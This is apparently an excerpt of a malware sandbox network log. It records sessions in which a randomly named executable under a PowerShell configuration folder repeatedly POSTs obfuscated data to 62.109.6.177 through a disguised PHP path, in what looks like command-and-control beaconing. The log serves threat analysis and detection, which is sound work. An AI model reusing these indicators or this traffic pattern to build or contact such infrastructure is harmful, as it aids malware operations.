Jan 4, 2025 13:38:20.718719959 CET	2584	OUT	Data Raw: 50 53 5f 50 5e 5a 57 5c 5d 59 52 51 5a 5c 55 56 5f 5e 5c 48 50 5c 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_P^ZW\]YRQZ\UV_^\HP\VY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@)Z<#95& >*99"B5Y'8%'!Q09S=,X"##&,.\/'^.%
Jan 4, 2025 13:38:21.052377939 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:21.182652950 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50748	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:21.312146902 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:21.656174898 CET	2584	OUT	Data Raw: 50 56 5f 59 5e 59 52 5b 5d 59 52 51 5a 58 55 56 5f 5f 5c 48 50 51 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PV_Y^YR[]YRQZXUV__\HPQVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)#"9-136)>!'60+<240;>:;" ;\%,.\/'^.5
Jan 4, 2025 13:38:22.031213045 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:22.172013044 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50754	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:22.380179882 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:22.734220982 CET	2584	OUT	Data Raw: 55 55 5f 58 5e 5e 57 5b 5d 59 52 51 5a 54 55 5d 5f 5d 5c 46 50 5d 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_X^^W[]YRQZTU]_]\FP]VX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)?8 9:&0=*:")%8^&7=V00R):8]#0?1<.\/'^.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50758	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:22.943672895 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:23.296794891 CET	1904	OUT	Data Raw: 55 51 5f 50 5e 5d 52 5c 5d 59 52 51 5a 58 55 52 5f 5f 5c 48 50 57 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UQ_P^]R\]YRQZXUR__\HPWV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-?; 9:_10!_!4Y3,2'1V'90U=*<]# 8%<.\/'^.5
Jan 4, 2025 13:38:23.649738073 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:23.782634974 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 1e 23 10 29 11 20 3e 30 19 33 39 3f 51 36 38 3e 45 3a 57 2c 5e 27 34 00 04 28 21 2b 54 35 39 39 5a 28 2f 3c 0a 26 0e 31 1d 25 2a 2c 5b 04 1f 20 45 36 59 22 06 2c 2f 24 04 2f 32 07 5b 33 3e 38 10 3d 3c 38 09 35 33 24 5a 28 04 39 52 30 07 23 54 29 3a 24 41 27 23 3b 04 26 2b 2b 5e 02 15 24 5d 29 2d 2a 10 22 58 36 01 26 31 3d 0e 33 25 05 0b 34 3b 3c 0c 29 39 25 03 24 3c 2f 0f 21 37 21 15 22 3c 39 01 21 38 28 0a 31 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %#) >039?Q68>E:W,^'4(!+T599Z(/<&1%,[ E6Y",/$/2[3>8=<853$Z(9R0#T):$A'#;&++^$])-"X6&1=3%4;<)9%$</!7!"<9!8(19%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50759	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:23.067034960 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:23.421732903 CET	2584	OUT	Data Raw: 50 5b 5f 5a 5e 5e 57 5d 5d 59 52 51 5a 55 55 52 5f 59 5c 47 50 52 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[_Z^^W]]YRQZUUR_Y\GPRVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-<$X#2:(Y!$9_0+'%$T3) U)9##V7]&<.\/'^.
Jan 4, 2025 13:38:23.773363113 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:23.906344891 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50767	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:24.031646013 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:24.390755892 CET	2584	OUT	Data Raw: 50 51 5f 59 5b 5f 57 59 5d 59 52 51 5a 5b 55 57 5f 5d 5c 46 50 51 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PQ_Y[_WY]YRQZ[UW_]\FPQV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.D*,(\7).&6=)9Z5$'^,Y24.'=(] # 1<.\/'^.9
Jan 4, 2025 13:38:24.718606949 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:24.851331949 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50776	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:25.101231098 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:25.452991962 CET	2584	OUT	Data Raw: 50 55 5f 5b 5b 5f 52 5f 5d 59 52 51 5a 5e 55 55 5f 5a 5c 40 50 50 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_[[_R_]YRQZ^UU_Z\@PPVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-),#9*^2!])-^54-^$8249V&9(S=9' 02.\/'^.-
Jan 4, 2025 13:38:25.832660913 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:25.968213081 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50782	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:26.093224049 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:26.437352896 CET	2584	OUT	Data Raw: 50 56 5a 5f 5e 53 52 5f 5d 59 52 51 5a 5f 55 5c 5f 5f 5c 41 50 57 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PVZ_^SR_]YRQZ_U\__\APWVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C=<7&]% =^)):"B5\'+0^%=U&$W:8_"0Y1<.\/'^.)
Jan 4, 2025 13:38:26.774857044 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:26.906533003 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50788	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:27.031857014 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:27.399333000 CET	2584	OUT	Data Raw: 50 54 5f 5f 5b 5b 57 5f 5d 59 52 51 5a 55 55 50 5f 5b 5c 44 50 5d 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT__[[W_]YRQZUUP_[\DP]VX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)<<49=&*=:%_".0+,_2"&9 =# +^1.\/'^.
Jan 4, 2025 13:38:27.709522009 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:27.838504076 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50797	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:28.038897991 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:28.390505075 CET	2580	OUT	Data Raw: 50 52 5f 58 5e 59 52 5d 5d 59 52 51 5a 5d 55 57 5f 5c 5c 47 50 56 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PR_X^YR]]YRQZ]UW_\\GPVV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-/? 91 ]=%_ 4=\$+$Z&!Q0_8)\##?]&,.\/'^.-
Jan 4, 2025 13:38:28.717999935 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50803	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:28.805814028 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:29.157375097 CET	1904	OUT	Data Raw: 50 5a 5f 50 5e 5e 52 5f 5d 59 52 51 5a 5a 55 55 5f 55 5c 48 50 55 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_P^^R_]YRQZZUU_U\HPUV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)/3")%%V>**1[")'&!0()+#3#%.\/'^.
Jan 4, 2025 13:38:29.588202953 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:29.718609095 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 5a 34 58 29 5a 34 2e 38 19 30 3a 3f 13 21 01 39 1d 2d 57 33 03 26 34 25 5c 3f 32 2b 1c 36 00 31 10 29 3c 33 56 26 33 3d 53 31 3a 2c 5b 04 1f 23 1d 22 11 03 5f 2e 2c 27 17 2d 21 22 06 30 03 3f 06 3e 3f 27 13 35 23 3b 02 28 04 29 15 24 07 09 54 3d 3a 2c 43 24 33 30 59 31 11 2b 5e 02 15 24 5b 29 2e 2e 54 36 00 07 58 31 0f 2a 56 24 35 3c 19 20 28 2f 1c 29 29 00 5a 24 3f 0d 0c 37 19 0f 5c 36 3f 3a 5a 34 01 30 0d 24 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %Z4X)Z4.80:?!9-W3&4%\?2+61)<3V&3=S1:,[#"_.,'-!"0?>?'5#;()$T=:,C$30Y1+^$[)..T6X1*V$5< (/))Z$?7\6?:Z40$9%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50806	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:28.939132929 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:29.296725988 CET	2584	OUT	Data Raw: 50 5b 5f 51 5e 52 57 5f 5d 59 52 51 5a 58 55 50 5f 5c 5c 49 50 56 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[_Q^RW_]YRQZXUP_\\IPVV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C>"9629_92!$-\';31$1$:#+#3$1<.\/'^.5
Jan 4, 2025 13:38:29.703054905 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:29.834731102 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50812	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:29.952810049 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:30.297163010 CET	2584	OUT	Data Raw: 50 5b 5f 5c 5b 5f 52 5c 5d 59 52 51 5a 5f 55 54 5f 59 5c 42 50 57 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[_\[_R\]YRQZ_UT_Y\BPWVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->??#6[20!]>:9"'9\3;;29$<>:?7;^1.\/'^.)
Jan 4, 2025 13:38:30.742974043 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:30.880135059 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50818	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:31.022116899 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:31.374849081 CET	2584	OUT	Data Raw: 50 53 5f 51 5e 53 52 5b 5d 59 52 51 5a 5b 55 54 5f 54 5c 48 50 55 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_Q^SR[]YRQZ[UT_T\HPUV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)3"9&_1#9- $X$(8^&43900 X1<.\/'^.9
Jan 4, 2025 13:38:31.728072882 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:31.862373114 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50827	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:31.984904051 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
